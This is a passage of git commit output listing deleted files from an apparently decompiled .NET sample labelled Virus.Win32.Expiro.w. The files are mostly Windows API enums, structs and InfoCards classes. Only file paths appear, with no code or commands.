MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SignatureHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StorableObjectType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/StoreConnection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/SystemShuttingDownException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenCreationParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenDescriptor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryBase.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryCredentialType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TokenFactoryFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TransformFinalBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/TrustExchangeException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentAsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentCrashedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentInitializationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentMonitorHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIAgentRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UIEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnlockCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UntrustedRecipientException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/UserPreference.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Utility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/VerifyHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/WSIdentityFaultException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509AudioLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509ImageLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509Logo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoDataType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoTypeExtension.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/XmlNames.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/NEGOTIATE_MESSAGES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDEXECOPT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OLECMDTEXTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/OfflineFolderStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/PIDMSI_STATUS_VALUE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RESTRICTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RPC_ADDRESS_CHANGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RefreshConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ReplacesCorHdrNumericDefines.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/RequireAppliesToStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSGEOTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SYSNLS_FUNCTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/SecureLockIconConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellFolderViewOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellSpecialFolderConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowFindWindowOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/ShellWindowTypeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/TrustDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/VARENUM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.csproj delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Virus.Win32.Expiro.w.sln delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WELL_KNOWN_SID_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/WPCSETTING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/X931_restart_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ActivationContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/AtExitLock.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/DefaultDomain.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/LanguageSupport.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/NativeDll.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/Progress.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ThisModule.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/TriBool.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CModule_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACCESS_MODE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACL_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ACTIVATION_CONTEXT_INFO_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_APTTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_BIN_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CERT_CHAIN_CONTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CHANGER_DEVICE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_ERROR_CONTROL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_LOAD_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CM_SERVICE_NODE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_COMPUTER_NAME_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_CRYPT_OID_INFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DETECTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DEVICE_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DISK_WRITE_CACHE_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_CHARSET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DNS_NAME_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_Direction.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_DnsSection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ELEMENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ENLISTMENT_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_DISPOSITION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXCEPTION_POINTERS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_EXPLICIT_ACCESS_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_FINDEX_SEARCH_OPS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GET_FILEEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GPO_LINK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_GUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HEAP_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_HandleType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_IDL_CS_CONVERT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_ITEMIDLIST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_JOBOBJECTINFOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KERB_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_KTMOBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LOGICAL_PROCESSOR_RELATIONSHIP.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_LUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MANDATORY_LEVEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_MULTIPLE_TRUSTEE_OPERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_OSVERSIONINFOW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_PARTITION_STYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_DOMAIN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_POLICY_LSA_SERVER_ROLE.cs delete mode 100644 